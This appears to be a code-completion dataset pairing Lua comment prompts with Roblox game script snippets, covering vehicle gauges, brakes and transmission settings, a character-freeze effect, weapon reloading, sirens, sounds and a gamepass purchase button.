Prompt: --Automatic Gauge Scaling

Response:
if autoscaling then
	local Drive={}
	if _Tune.Config == "FWD" or _Tune.Config == "AWD" then
		if car.Wheels:FindFirstChild("FL")~= nil then
			table.insert(Drive,car.Wheels.FL)
		end
		if car.Wheels:FindFirstChild("FR")~= nil then
			table.insert(Drive,car.Wheels.FR)
		end
		if car.Wheels:FindFirstChild("F")~= nil then
			table.insert(Drive,car.Wheels.F)
		end
	end
	if _Tune.Config == "RWD" or _Tune.Config == "AWD" then
		if car.Wheels:FindFirstChild("RL")~= nil then
			table.insert(Drive,car.Wheels.RL)
		end
		if car.Wheels:FindFirstChild("RR")~= nil then
			table.insert(Drive,car.Wheels.RR)
		end
		if car.Wheels:FindFirstChild("R")~= nil then
			table.insert(Drive,car.Wheels.R)
		end
	end

	local wDia = 0
	for i,v in pairs(Drive) do
		if v.Size.x>wDia then wDia = v.Size.x end
	end
	Drive = nil
	for i,v in pairs(UNITS) do
		v.maxSpeed = math.ceil(v.scaling*wDia*math.pi*_lRPM/60/_Tune.Ratios[#_Tune.Ratios]/_Tune.FinalDrive)
		v.spInc = math.max(math.ceil(v.maxSpeed/200)*20,20)
	end
end

for i=0,revEnd*2 do
	local ln = script.Parent.ln:clone()
	ln.Parent = script.Parent.Tach
	ln.Rotation = 45 + i * 225 / (revEnd*2)
	ln.Num.Text = i/2
	ln.Num.Rotation = -ln.Rotation
	if i*500>=math.floor(_pRPM/500)*500 then
		ln.Frame.BackgroundColor3 = Color3.new(1,0,0)
		if i<revEnd*2 then
			ln2 = ln:clone()
			ln2.Parent = script.Parent.Tach
			ln2.Rotation = 45 + (i+.5) * 225 / (revEnd*2)
			ln2.Num:Destroy()
			ln2.Visible=true
		end
	end
	if i%2==0 then
		ln.Frame.Size = UDim2.new(0,3,0,10)
		ln.Frame.Position = UDim2.new(0,-1,0,100)
		ln.Num.Visible = true
	else
		ln.Num:Destroy()
	end
	ln.Visible=true
end

local lns = Instance.new("Frame",script.Parent.Speedo)
lns.Name = "lns"
lns.BackgroundTransparency = 1
lns.BorderSizePixel = 0
lns.Size = UDim2.new(0,0,0,0)
for i=1,90 do
	local ln = script.Parent.ln:clone()
	ln.Parent = lns
	ln.Rotation = 45 + 225*(i/90)
	if i%2==0 then
		ln.Frame.Size = UDim2.new(0,2,0,10)
		ln.Frame.Position = UDim2.new(0,-1,0,100)
	else
		ln.Frame.Size = UDim2.new(0,3,0,5)
	end
	ln.Num:Destroy()
	ln.Visible=true
end

for i,v in pairs(UNITS) do
	local lnn = Instance.new("Frame",script.Parent.Speedo)
	lnn.BackgroundTransparency = 1
	lnn.BorderSizePixel = 0
	lnn.Size = UDim2.new(0,0,0,0)
	lnn.Name = v.units
	if i~= 1 then lnn.Visible=false end

	for i=0,v.maxSpeed,v.spInc do
		local ln = script.Parent.ln:clone()
		ln.Parent = lnn
		ln.Rotation = 45 + 225*(i/v.maxSpeed)
		ln.Num.Text = i
		ln.Num.TextSize = 14
		ln.Num.Rotation = -ln.Rotation
		ln.Frame:Destroy()
		ln.Num.Visible=true
		ln.Visible=true
	end
end

if 	script.Parent.Parent.IsOn.Value then
	script.Parent:TweenPosition(UDim2.new(0, 0, 0, 0),Enum.EasingDirection.InOut,Enum.EasingStyle.Quad,1,true)
end

script.Parent.Parent.IsOn.Changed:connect(function()
	if script.Parent.Parent.IsOn.Value then
		script.Parent:TweenPosition(UDim2.new(0, 0, 0, 0),Enum.EasingDirection.InOut,Enum.EasingStyle.Quad,1,true)
	end
end)

script.Parent.Parent.Values.RPM.Changed:connect(function()
	script.Parent.Tach.Needle.Rotation = 45 + 225 * math.min(1,script.Parent.Parent.Values.RPM.Value / (revEnd*1000))
	intach.Rotation = -30 + script.Parent.Parent.Values.RPM.Value * 240 / 8000
end)

script.Parent.Parent.Values.Gear.Changed:connect(function()
	local gearText = script.Parent.Parent.Values.Gear.Value
	if gearText == 0 then
		gearText = "N"
		car.Body.Dash.DashSc.G.Gear.Text = "N"
	elseif gearText == -1 then
		gearText = "R"
		car.Body.Dash.DashSc.G.Gear.Text = "R"
	else
	end
	script.Parent.Gear.Text = gearText
	car.Body.Dash.DashSc.G.Gear.Text = gearText
end)

script.Parent.Parent.Values.TCS.Changed:connect(function()
	if _Tune.TCSEnabled then
		if script.Parent.Parent.Values.TCS.Value then
			script.Parent.TCS.TextColor3 = Color3.new(1,170/255,0)
			script.Parent.TCS.TextStrokeColor3 = Color3.new(1,170/255,0)
			if script.Parent.Parent.Values.TCSActive.Value then
				wait()
				script.Parent.TCS.Visible = not script.Parent.TCS.Visible
			else
				wait()
				script.Parent.TCS.Visible = false
			end
		else
			script.Parent.TCS.Visible = true
			script.Parent.TCS.TextColor3 = Color3.new(1,0,0)
			script.Parent.TCS.TextStrokeColor3 = Color3.new(1,0,0)
		end
	else
		script.Parent.TCS.Visible = false
	end
end)

script.Parent.Parent.Values.TCSActive.Changed:connect(function()
	if _Tune.TCSEnabled then
		if script.Parent.Parent.Values.TCSActive.Value and script.Parent.Parent.Values.TCS.Value then
			wait()
			script.Parent.TCS.Visible = not script.Parent.TCS.Visible
		elseif not script.Parent.Parent.Values.TCS.Value then
			wait()
			script.Parent.TCS.Visible = true
		else
			wait()
			script.Parent.TCS.Visible = false
		end
	else
		script.Parent.TCS.Visible = false
	end
end)

script.Parent.TCS.Changed:connect(function()
	if _Tune.TCSEnabled then
		if script.Parent.Parent.Values.TCSActive.Value and script.Parent.Parent.Values.TCS.Value then
			wait()
			script.Parent.TCS.Visible = not script.Parent.TCS.Visible
		elseif not script.Parent.Parent.Values.TCS.Value then
			wait()
			script.Parent.TCS.Visible = true
		end
	else
		if script.Parent.TCS.Visible then
			script.Parent.TCS.Visible = false
		end
	end
end)

script.Parent.Parent.Values.ABS.Changed:connect(function()
	if _Tune.ABSEnabled then
		if script.Parent.Parent.Values.ABS.Value then
			script.Parent.ABS.TextColor3 = Color3.new(1,170/255,0)
			script.Parent.ABS.TextStrokeColor3 = Color3.new(1,170/255,0)
			if script.Parent.Parent.Values.ABSActive.Value then
				wait()
				script.Parent.ABS.Visible = not script.Parent.ABS.Visible
			else
				wait()
				script.Parent.ABS.Visible = false
			end
		else
			script.Parent.ABS.Visible = true
			script.Parent.ABS.TextColor3 = Color3.new(1,0,0)
			script.Parent.ABS.TextStrokeColor3 = Color3.new(1,0,0)
		end
	else
		script.Parent.ABS.Visible = false
	end
end)

script.Parent.Parent.Values.ABSActive.Changed:connect(function()
	if _Tune.ABSEnabled then
		if script.Parent.Parent.Values.ABSActive.Value and script.Parent.Parent.Values.ABS.Value then
			wait()
			script.Parent.ABS.Visible = not script.Parent.ABS.Visible
		elseif not script.Parent.Parent.Values.ABS.Value then
			wait()
			script.Parent.ABS.Visible = true
		else
			wait()
			script.Parent.ABS.Visible = false
		end
	else
		script.Parent.ABS.Visible = false
	end
end)

script.Parent.ABS.Changed:connect(function()
	if _Tune.ABSEnabled then
		if script.Parent.Parent.Values.ABSActive.Value and script.Parent.Parent.Values.ABS.Value then
			wait()
			script.Parent.ABS.Visible = not script.Parent.ABS.Visible
		elseif not script.Parent.Parent.Values.ABS.Value then
			wait()
			script.Parent.ABS.Visible = true
		end
	else
		if script.Parent.ABS.Visible then
			script.Parent.ABS.Visible = false
		end
	end
end)

script.Parent.Parent.Values.PBrake.Changed:connect(function()
	script.Parent.PBrake.Visible = script.Parent.Parent.Values.PBrake.Value
end)

script.Parent.Parent.Values.TransmissionMode.Changed:connect(function()
	if script.Parent.Parent.Values.TransmissionMode.Value == "Auto" then
		script.Parent.TMode.Text = "A/T"
		script.Parent.TMode.BackgroundColor3 = Color3.new(1,170/255,0)
	elseif script.Parent.Parent.Values.TransmissionMode.Value == "Semi" then
		script.Parent.TMode.Text = "S/T"
		script.Parent.TMode.BackgroundColor3 = Color3.new(0, 170/255, 127/255)
	else
		script.Parent.TMode.Text = "M/T"
		script.Parent.TMode.BackgroundColor3 = Color3.new(1,85/255,.5)
	end
end)

script.Parent.Parent.Values.Velocity.Changed:connect(function(property)
	script.Parent.Speedo.Needle.Rotation = 45 + 225 * math.min(1,UNITS[currentUnits].scaling*script.Parent.Parent.Values.Velocity.Value.Magnitude/UNITS[currentUnits].maxSpeed)
	script.Parent.Speed.Text = math.floor(UNITS[currentUnits].scaling*script.Parent.Parent.Values.Velocity.Value.Magnitude) .. " "..UNITS[currentUnits].units
	inspd.Rotation = -30 + (222 / 160) * (math.abs(script.Parent.Parent.Values.Velocity.Value.Magnitude*((10/12) * (60/88))))
end)

script.Parent.Speed.MouseButton1Click:connect(function()
	if currentUnits==#UNITS then
		currentUnits = 1
	else
		currentUnits = currentUnits+1
	end
	for i,v in pairs(script.Parent.Speedo:GetChildren()) do
		v.Visible=v.Name==UNITS[currentUnits].units or v.Name=="Needle" or v.Name=="lns"
	end
	script.Parent.Speed.Text = math.floor(UNITS[currentUnits].scaling*script.Parent.Parent.Values.Velocity.Value.Magnitude) .. " "..UNITS[currentUnits].units
end)

mouse.KeyDown:connect(function(key)
	if key=="v" then
		script.Parent.Visible=not script.Parent.Visible
	end
end)


Prompt: --freeze the character

Response:
DisableMove()

IceForm = Instance.new("Sound")
IceForm.Name = "IceForm"
IceForm.SoundId = "rbxassetid://"..formSounds[math.random(1,#formSounds)]
IceForm.Parent = Head
IceForm.PlaybackSpeed = 1
IceForm.Volume = 1.5
game.Debris:AddItem(IceForm, 10)
delay(0, function() IceForm:Play() end)

for i = 1, #charParts do
	local newIcePart = icePart:Clone()
	--newIcePart.IceMesh.Scale = newIcePart.IceMesh.Scale * charParts[i].Size
	newIcePart.Size = Vector3.new(charParts[i].Size.x+.1, charParts[i].Size.y+.1, charParts[i].Size.z+.1)
	newIcePart.CFrame = charParts[i].CFrame
	newIcePart.Parent = character

	local Weld = Instance.new("Weld")
	Weld.Part0 = charParts[i]
	Weld.Part1 = newIcePart
	Weld.C0 = charParts[i].CFrame:inverse()
	Weld.C1 = newIcePart.CFrame:inverse()
	Weld.Parent = newIcePart

	table.insert(iceParts, newIcePart)
end

for i = 1, #accessoryParts do
	local newIcePart2 = accessoryParts[i]:Clone()
    newIcePart2.Name = "IcePart"
    newIcePart2.formFactor = "Custom"
    newIcePart2.Color = Color3.fromRGB(128, 187, 219)
    newIcePart2.CanCollide = false
    newIcePart2.Anchored = false
    newIcePart2.Transparency = .5
    newIcePart2.BottomSurface = "Smooth"
    newIcePart2.TopSurface = "Smooth"
    newIcePart2.Material = Enum.Material.SmoothPlastic
	local mesh = newIcePart2:FindFirstChildOfClass("SpecialMesh")
    mesh.TextureId = ""
    mesh.Scale = Vector3.new(mesh.Scale.x+.1, mesh.Scale.y+.1, mesh.Scale.z+.1)
    newIcePart2.CFrame = accessoryParts[i].CFrame
	newIcePart2.Parent = character

	local Weld2 = Instance.new("Weld")
	Weld2.Part0 = accessoryParts[i]
	Weld2.Part1 = newIcePart2
	Weld2.C0 = accessoryParts[i].CFrame:inverse()
	Weld2.C1 = newIcePart2.CFrame:inverse()
	Weld2.Parent = newIcePart2

	table.insert(iceParts2, newIcePart2)
end

wait(script.Duration.Value)


Prompt: -- Local variables

Response:
local TeamPlayers = {}
local TeamScores = {}


Prompt:
--Throttle:
--	local speed = 0
--	if seat.ThrottleFloat > 0 then
--		speed = maxSpeed*seat.ThrottleFloat --forwards
--	elseif seat.ThrottleFloat < 0 then
--		speed = seat.ThrottleFloat * 15 --reverse
--	end
--	setHinges(speed, speed)
--	if seat.ThrottleFloat < 0 and seat.Velocity.Magnitude > 20 and script.Parent.Velocity:Dot(script.Parent.CFrame.lookVector) > 0 then
--		Brake()
--	end

Response: end)


Prompt: --------------------[ RELOAD FUNCTIONS ]----------------------------------------------

Response:
function animateReload()
	tweenJoint(LWeld2, CF(), CF(), Sine, 0.15)
	tweenJoint(RWeld2, CF(), CF(), Sine, 0.15)
	local magParts = {}
	local magTable = {}

	for _, Obj in pairs(Gun:GetChildren()) do
		if string.sub(Obj.Name, 1, 3) == "Mag" and Obj:IsA("BasePart") then
			INSERT(magParts, Obj)
		end
	end

	local animVars = {
		--FUNCTIONS--
		tweenJoint = tweenJoint;

		makeMagInvisible = function()
			for _, v in pairs(magParts) do
				v.Transparency = 1
			end
			magVisible = false
		end;

		makeMagVisible = function()
			for _, v in pairs(magParts) do
				v.Transparency = v:WaitForChild("magTrans").Value
			end
			magVisible = true
		end;

		isMagVisible = function()
			return magVisible
		end;

		isMagEmpty = function()
			return ammoInClip == 0
		end;

		setNewMag = function()
			newMag = true
		end;

		isNewMag = function()
			return newMag
		end;

		createMag = function(Key)
			local magModel = Instance.new("Model")
			local magClones = {}
			for i, v in pairs(magParts) do
				local vClone = v:Clone()
				vClone.Transparency = v:WaitForChild("magTrans").Value
				vClone.CanCollide = false
				vClone.Parent = magModel
				INSERT(magClones, {Original = v, magClone = vClone})
				if i ~= 1 then
					local W = Instance.new("Weld")
					W.Part0 = magClones[1].magClone
					W.Part1 = vClone
					W.C0 = magClones[1].magClone.CFrame:toObjectSpace(vClone.CFrame)
					W.Parent = magClones[1].magClone
				end
			end
			magTable[Key] = {magModel, magClones}
			return magModel, magClones
		end;

		getMag = function(Key)
			if magTable[Key] then
				return magTable[Key][1], magTable[Key][2]
			else
				return nil, nil
			end
		end;

		attachGripToHead = function()
			local handleCF = RArm.CFrame * Grip.C0
			Grip.C0 = Head.CFrame:toObjectSpace(handleCF)
			Grip.Part0 = Head
		end;

		attachGripToArm = function()
			local handleCF = Head.CFrame * Grip.C0
			Grip.C0 = RArm.CFrame:toObjectSpace(handleCF)
			Grip.Part0 = RArm
		end;

		Sine = Sine;

		Linear = Linear;

		--VARIABLES--
		Handle = Handle;
		LArm = LArm;
		RArm = RArm;
		LWeld = LWeld;
		RWeld = RWeld;
		LC0 = armC0[1];
		RC0 = armC0[2];
		Grip = Grip;
		gunIgnore = gunIgnore;
		Cam = Cam;
		CF = CF;
		CFANG = CFANG;
		V3 = V3;
		RAD = RAD;
		reloadTimeLoaded = S.reloadSettings.Times.Loaded;
		reloadTimeEmpty = S.reloadSettings.Times.Empty
	}

	local sequenceTable = Anims.Reload(animVars)
	--local T = tick()
	for _, reloadFunction in pairs(sequenceTable) do
		if breakReload then
			break
		end
		reloadFunction()

		if (not magVisible) then
			Ammo.Value = 0
		end
		updateClipAmmo()
	end
	--print(tick() - T) --I divide the reloadTime by this number to get the animation speed

	if (not isCrawling) then
		if Running and (not S.canFireWhileRunning) then
			tweenJoint(LWeld, armC0[1], S.runningC1.leftArm, Sine, 0.4)
			tweenJoint(RWeld, armC0[2], S.runningC1.rightArm, Sine, 0.4)
			tweenJoint(Grip, nil, S.runningC1.Grip, Sine, 0.4)
		else
			tweenJoint(LWeld, armC0[1], S.unAimedC1.leftArm, Sine, 0.4)
			tweenJoint(RWeld, armC0[2], S.unAimedC1.rightArm, Sine, 0.4)
			tweenJoint(Grip, nil, S.unAimedC1.Grip, Sine, 0.4)
		end
	end

	for _, v in pairs(magTable) do --In case the reload animations was stopped mid way and there were still fake mags that weren't deleted
		v[1]:Destroy()
	end
end

function Reload()
	if Ammo.Value < (ClipSize.Value + 1) and (not Reloading) and StoredAmmo.Value > 0 then
		Firing = false
		ammoInClip = (ammoInClip == 0 and Ammo.Value or ammoInClip)
		Reloading = true
		lowerSpread()
		if Aimed then unAimGun(S.reloadSettings.Anim) end
		crossHair.Reload.Visible = true
		if Handle:FindFirstChild("ReloadSound") then Handle.ReloadSound:Play() end
		if S.reloadSettings.Anim then
			wait()
			animateReload()
		else
			local startReload = tick()
			local initialReloadTime = Ammo.Value == 0 and S.reloadSettings.Times.Empty or S.reloadSettings.Times.Loaded
			while true do
				if breakReload then break end
				if (tick() - startReload) >= initialReloadTime then break end
				RS.RenderStepped:wait()
			end
		end
		if (not breakReload) then
			newMag = false
			if StoredAmmo.Value >= ClipSize.Value then
				if ammoInClip > 0 then
					StoredAmmo.Value = StoredAmmo.Value - ((ClipSize.Value + 1) - ammoInClip)
					Ammo.Value = ClipSize.Value + 1
				else
					StoredAmmo.Value = StoredAmmo.Value - ClipSize.Value
					Ammo.Value = ClipSize.Value
				end
			elseif StoredAmmo.Value < ClipSize.Value and StoredAmmo.Value > 0 then
				Ammo.Value = StoredAmmo.Value
				StoredAmmo.Value = 0
			end
		end
		Reloading = false
		if Selected then
			ammoInClip = (breakReload and ammoInClip or 0)
			crossHair.Reload.Visible = false
		end
		breakReload = false
	end

	updateClipAmmo()
	updateStoredAmmo()
end


Prompt: --print(TCount)

Response:
if script.Parent.Storage.Control.Value ~= "Controller" then
if carSeat.Throttle == -1 then
	if TCount >= 1 then
		TCount = 1
	else
		if TCount < 0.25 then
			TCount = 0.25
			else
		TCount = TCount + 0.04
		end
	end
	else if TCount <= 0  then TCount = 0 else TCount = TCount - 0.1 end
end
brake.Value = TCount
end

			if carSeat.Storage.Handbrake.Computer.Value == true or carSeat.Storage.Handbrake.User.Value == true then
				carSeat.Storage.Handbrake.Value = true
			else
				carSeat.Storage.Handbrake.Value = false
			end

			if script.Parent.Storage.Brake.Value ~= 0 then
			FLBRAKE.CustomPhysicalProperties = PhysicalProperties.new(1, (2*fb)*brake.Value, 0, 100, 0)
			FLBRAKEU.CustomPhysicalProperties = PhysicalProperties.new(1, (2*fb)*brake.Value, 0, 100, 0)
			FRBRAKE.CustomPhysicalProperties = PhysicalProperties.new(1, (2*fb)*brake.Value, 0, 100, 0)
			FRBRAKEU.CustomPhysicalProperties = PhysicalProperties.new(1, (2*fb)*brake.Value, 0, 100, 0)
			FLDISK.CustomPhysicalProperties = PhysicalProperties.new(1, (2*fb)*brake.Value, 0, 100, 0)
			FRDISK.CustomPhysicalProperties = PhysicalProperties.new(1, (2*fb)*brake.Value, 0, 100, 0)
			else
			FLBRAKE.CustomPhysicalProperties = PhysicalProperties.new(1, (2*fb), 0, 100, 0)
			FLBRAKEU.CustomPhysicalProperties = PhysicalProperties.new(1, (2*fb), 0, 100, 0)
			FRBRAKE.CustomPhysicalProperties = PhysicalProperties.new(1, (2*fb), 0, 100, 0)
			FRBRAKEU.CustomPhysicalProperties = PhysicalProperties.new(1, (2*fb), 0, 100, 0)
			FLDISK.CustomPhysicalProperties = PhysicalProperties.new(1, (2*fb), 0, 100, 0)
			FRDISK.CustomPhysicalProperties = PhysicalProperties.new(1, (2*fb), 0, 100, 0)
			end

			if carSeat.Storage.Handbrake.Value == true then
			RLBRAKE.CustomPhysicalProperties = PhysicalProperties.new(1, 2, 0, 100, 0)
			RLBRAKEU.CustomPhysicalProperties = PhysicalProperties.new(1, 2, 0, 100, 0)
			RRBRAKE.CustomPhysicalProperties = PhysicalProperties.new(1, 2, 0, 100, 0)
			RRBRAKEU.CustomPhysicalProperties = PhysicalProperties.new(1, 2, 0, 100, 0)
			RLDISK.CustomPhysicalProperties = PhysicalProperties.new(1, 2, 0, 100, 0)
			RRDISK.CustomPhysicalProperties = PhysicalProperties.new(1, 2, 0, 100, 0)

			else
				if script.Parent.Storage.Brake.Value ~= 0 then
			RLBRAKE.CustomPhysicalProperties = PhysicalProperties.new(1, (2*rb)*brake.Value, 0, 100, 0)
			RLBRAKEU.CustomPhysicalProperties = PhysicalProperties.new(1, (2*rb)*brake.Value, 0, 100, 0)
			RRBRAKE.CustomPhysicalProperties = PhysicalProperties.new(1, (2*rb)*brake.Value, 0, 100, 0)
			RRBRAKEU.CustomPhysicalProperties = PhysicalProperties.new(1, (2*rb)*brake.Value, 0, 100, 0)
			RLDISK.CustomPhysicalProperties = PhysicalProperties.new(1, (2*rb)*brake.Value, 0, 100, 0)
			RRDISK.CustomPhysicalProperties = PhysicalProperties.new(1, (2*rb)*brake.Value, 0, 100, 0)
				else
			RLBRAKE.CustomPhysicalProperties = PhysicalProperties.new(1, (2*rb), 0, 100, 0)
			RLBRAKEU.CustomPhysicalProperties = PhysicalProperties.new(1, (2*rb), 0, 100, 0)
			RRBRAKE.CustomPhysicalProperties = PhysicalProperties.new(1, (2*rb), 0, 100, 0)
			RRBRAKEU.CustomPhysicalProperties = PhysicalProperties.new(1, (2*rb), 0, 100, 0)
			RLDISK.CustomPhysicalProperties = PhysicalProperties.new(1, (2*rb), 0, 100, 0)
			RRDISK.CustomPhysicalProperties = PhysicalProperties.new(1, (2*rb), 0, 100, 0)
			end
			end

		if script.Parent.Storage.Brake.Value ~= 0 and carSeat.Storage.ABS.Value == false then
			FLBRAKE.CanCollide = true
			FLBRAKEU.CanCollide = true
			FRBRAKE.CanCollide = true
			FRBRAKEU.CanCollide = true
			RLBRAKE.CanCollide = true
			RLBRAKEU.CanCollide = true
			RRBRAKE.CanCollide = true
			RRBRAKEU.CanCollide = true
			script.FL.Disabled = true
			script.FR.Disabled = true
			script.RL.Disabled = true
			script.RR.Disabled = true
			else
			script.FL.Disabled = false
			script.FR.Disabled = false
			script.RL.Disabled = false
			script.RR.Disabled = false

	if script.Parent.Storage.Brake.Value == 0 and carSeat.Storage.Handbrake.Value == false and script.FL.Toggle == false and script.FR.Toggle == false and script.RL.Toggle == false and script.RR.Toggle == false then
			FLBRAKE.CanCollide = false
			FLBRAKEU.CanCollide = false
			FRBRAKE.CanCollide = false
			FRBRAKEU.CanCollide = false
			RLBRAKE.CanCollide = false
			RLBRAKEU.CanCollide = false
			RRBRAKE.CanCollide = false
			RRBRAKEU.CanCollide = false

	elseif script.Parent.Storage.Brake.Value ~= 0 and speed < 15 then
			FLBRAKE.CanCollide = true
			FLBRAKEU.CanCollide = true
			FRBRAKE.CanCollide = true
			FRBRAKEU.CanCollide = true
			RLBRAKE.CanCollide = true
			RLBRAKEU.CanCollide = true
			RRBRAKE.CanCollide = true
			RRBRAKEU.CanCollide = true
	elseif script.Parent.Storage.Brake.Value == 0 and carSeat.Storage.Handbrake.Value == false then
			FLBRAKE.CanCollide = false
			FLBRAKEU.CanCollide = false
			FRBRAKE.CanCollide = false
			FRBRAKEU.CanCollide = false
			RLBRAKE.CanCollide = false
			RLBRAKEU.CanCollide = false
			RRBRAKE.CanCollide = false
			RRBRAKEU.CanCollide = false
	end
end
end


Prompt: --[[Transmission]]

Response:
	Tune.TransModes		= {"Auto","Semi"}								--[[
	[Modes]
		"Auto"		: Automatic shifting
		"Semi"		: Clutchless manual shifting, dual clutch transmission
		"Manual"	: Manual shifting with clutch

		>Include within brackets
			eg: {"Semi"} or {"Auto", "Manual"}
		>First mode is default mode													]]

	--Automatic Settings
	Tune.AutoShiftMode	= "RPM"												--[[
	[Modes]
		"Speed"		: Shifts based on wheel speed
		"RPM"		: Shifts based on RPM											]]
	Tune.AutoUpThresh	= -200		--Automatic upshift point 	(relative to peak RPM, positive = Over-rev)
	Tune.AutoDownThresh = 1400		--Automatic downshift point (relative to peak RPM, positive = Under-rev)

     --Gear Ratios
	Tune.FinalDrive		= 1.6		 --	[TRANSMISSION CALCULATIONS FOR NERDS]
	Tune.Ratios			= {			 --		SPEED [SPS]	 = (Wheel diameter(studs) * pi(3.14) * RPM) / (60 * Gear Ratio * Final Drive * Multiplier)
		--[[Reverse]]	3.40		,--		WHEEL TORQUE = Engine Torque * Gear Ratio * Final Drive * Multiplier
		--[[Neutral]]	0			,
		--[[ 1 ]]		3.77      	,
		--[[ 2 ]]		2.34		,
		--[[ 3 ]]		1.52		,
		--[[ 4 ]]		1.14		,
		--[[ 5 ]]		0.86		,
		--[[ 6 ]]		0.69   	,
	}
	Tune.FDMult			= 5			-- Ratio multiplier (Change this value instead of FinalDrive if car is struggling with torque ; Default = 1)


Prompt: -- NOTE: TEXTBOUNDS.X CANNOT BE MORE THAN TEXTLABEL.ABSOLUTESIZE.X OR YOU WILL GET UNDESIRABLE BEHAVIOR

Response:
local root = script.Parent

local surfaces = {
	'Front',
	'Left',
	'Back',
	'Right'
}

local speed = 3 -- how many seconds it should take to travel across one surface
local size = 2 -- the number of textlabels to move before and after the current one

function GetPreceedingLabels(index)
	local labels = {}

	for i=1,size do
		local this = index-i

		table.insert(labels,
			root:FindFirstChild(surfaces[this] or surfaces[#surfaces+this], true).Frame.TextLabel
		)
	end

	return labels
end

function GetSucceedingLabels(index)
	local labels = {}

	for i=1,size do
		local this = index+i


Prompt: --					if _TMode == "Auto" and _CGear==-1 then brake = _GBrake end

Response:
					--Apply ABS
					local tqABS = 1
					if _ABS and math.abs(v.RotVelocity.Magnitude*(v.Size.x/2) - v.Velocity.Magnitude)-_Tune.ABSThreshold>0 then
						tqABS = 0
					end
					if tqABS < 1 then
						_ABSActive = true
					end

					--Update Forces
					if v.Name=="FL" or v.Name=="FR" or v.Name=="F" then
						v["#AV"].maxTorque=Vector3.new(math.abs(Ref.x),math.abs(Ref.y),math.abs(Ref.z))*FBrakeForce*brake*tqABS
					else
						v["#AV"].maxTorque=Vector3.new(math.abs(Ref.x),math.abs(Ref.y),math.abs(Ref.z))*RBrakeForce*brake*tqABS
					end
					v["#AV"].angularvelocity=Vector3.new()
				end
			end
		end
	end

	script.Parent.Values.RPM.Changed:connect(function()
		if car.DriveSeat.Mode.Value == "Eco" then
			if _RPM > 260 then
				car.DriveSeat.Tic.Value = true
			else
				car.DriveSeat.Tic.Value = false
			end
		end
	end)
	car.DriveSeat.Tic.Changed:connect(function()
		if car.DriveSeat.Tic.Value == true and car.DriveSeat.Mode.Value == "Eco" then
			car.DriveSeat.EcoStart:Play()
		end
	end)


Prompt:
----- TOOL DATA -----
-- How much damage a bullet does

Response: local Damage = 18


Prompt: ----------SCRIPTED BY ZEDARKALIEN----------

Response:
local button = script.Parent
local player = game.Players.LocalPlayer
local gamePassId = script.Parent.GamepassId

button.MouseButton1Click:connect(function()
	if player then
		game:GetService("MarketplaceService"):PromptGamePassPurchase(player, gamePassId.Value)
	end
end)


Prompt: --// F key, Horn

Response:
mouse.KeyUp:connect(function(key)
	if key=="f" then
		veh.Lightbar.middle.Airhorn:Stop()
		veh.Lightbar.middle.Wail.Volume = 1
		veh.Lightbar.middle.Yelp.Volume = 1
		veh.Lightbar.middle.Priority.Volume = 1
	end
end)


Prompt: -- connect events

Response:
Humanoid.Died:connect(onDied)
Humanoid.Running:connect(onRunning)
Humanoid.Jumping:connect(onJumping)


Prompt: --// # key, ally

Response:
mouse.KeyDown:connect(function(key)
	if key=="." then
		veh.Lightbar.middle.Beep:Play()
		veh.Lightbar.Remotes.AllyEvent:FireServer(true)
	end
end)


Prompt:
--!nonstrict
-- Roblox character sound script

Response:
local Players = game:GetService("Players")
local RunService = game:GetService("RunService")

local AtomicBinding = require(script:WaitForChild("AtomicBinding"))

local function loadFlag(flag: string)
	local success, result = pcall(function()
		return UserSettings():IsUserFeatureEnabled(flag)
	end)
	return success and result
end

local SOUND_DATA : { [string]: {[string]: any}} = {
	Climbing = {
		SoundId = "rbxasset://sounds/action_footsteps_plastic.mp3",
		Looped = true,
	},
	Died = {
		SoundId = "rbxassetid://1237557124",
	},
	FreeFalling = {
		SoundId = "rbxasset://sounds/action_falling.mp3",
		Looped = true,
	},
	GettingUp = {
		SoundId = "rbxasset://sounds/action_get_up.mp3",
	},
	Jumping = {
		SoundId = "rbxasset://sounds/action_jump.mp3",
	},
	Landing = {
		SoundId = "rbxasset://sounds/action_jump_land.mp3",
	},
	Running = {
		SoundId = "rbxasset://sounds/action_footsteps_plastic.mp3",
		Looped = true,
		Pitch = 1.85,
	},
	Splash = {
		SoundId = "rbxasset://sounds/impact_water.mp3",
	},
	Swimming = {
		SoundId = "rbxasset://sounds/action_swim.mp3",
		Looped = true,
		Pitch = 1.6,
	},
}


Prompt: -- Service elements

Response:
local ValueRemote = ReplicatedStorage:WaitForChild("Value")

local Player = Players.LocalPlayer
local leaderstats = Player:WaitForChild("leaderstats")
local Stage = leaderstats:WaitForChild("Stage")
local MaxLevel = Player:WaitForChild("MaxLevel")


Prompt: --// if a player focuses on a textbox like chat, dont switch players while typing //--

Response:
UIS.TextBoxFocused:connect(function()
	focusedOnText = true
end)


Prompt: -- Handle command invocations from the clients.

Response:
Cmdr.RemoteFunction.OnServerInvoke = function (player, text, options)
	if #text > 1_000 then
		return "Input too long"
	end

	return Cmdr.Dispatcher:EvaluateAndRun(text, player, options)
end

return Cmdr


Prompt:
--[=[
	Sets the top-level value of all clients to the same value.

	:::note Override Per-Player Data
	This will override any per-player data that was set using
	`SetFor` or `SetFilter`. To avoid overriding this data,
	`SetTop` can be used instead.
	:::

	```lua
	-- Examples
	remoteProperty:Set(10)
	remoteProperty:Set({SomeData = 32})
	remoteProperty:Set("HelloWorld")
	```
]=]

Response:
function RemoteProperty:Set(value: any)
	self._value = value
	table.clear(self._perPlayer)
	self._rs:FireAll(value)
end


Response:
function onClicked()
R.BrickColor = BrickColor.new("Really red")
C.One.BrickColor = BrickColor.new("Really black")
C.Two.BrickColor = BrickColor.new("Really black")
C.Three.BrickColor = BrickColor.new("Really black")
C.Four.BrickColor = BrickColor.new("Really black")
C.MIC.BrickColor = BrickColor.new("Really black")
C.B.BrickColor = BrickColor.new("Really black")
C.M.BrickColor = BrickColor.new("Really black")
end
script.Parent.ClickDetector.MouseClick:connect(onClicked)


Prompt: ---S-T-U-F-F--S-O-U-P---

Response:
TN = {"Target","Body","Wheels"}
TARGET = nil
Lplayer = game.Players.LocalPlayer
Cam =	script.Parent.BodyValue.Value.campart
activekey = false
db = false
pathtoremote = script.Parent.BodyValue.Value.CameraParts
workspace.CurrentCamera.CameraType = "Custom"
workspace.CurrentCamera.CameraSubject = Cam
workspace.CurrentCamera.FieldOfView = 120
game.Players.LocalPlayer.CameraMaxZoomDistance = 1
game.Players.LocalPlayer.CameraMode = Enum.CameraMode.LockFirstPerson
mouse = game.Players.LocalPlayer:GetMouse()
mouse.Icon = "http://www.roblox.com/asset/?id=18662154"
mouse.TargetFilter = Cam.Parent.Parent
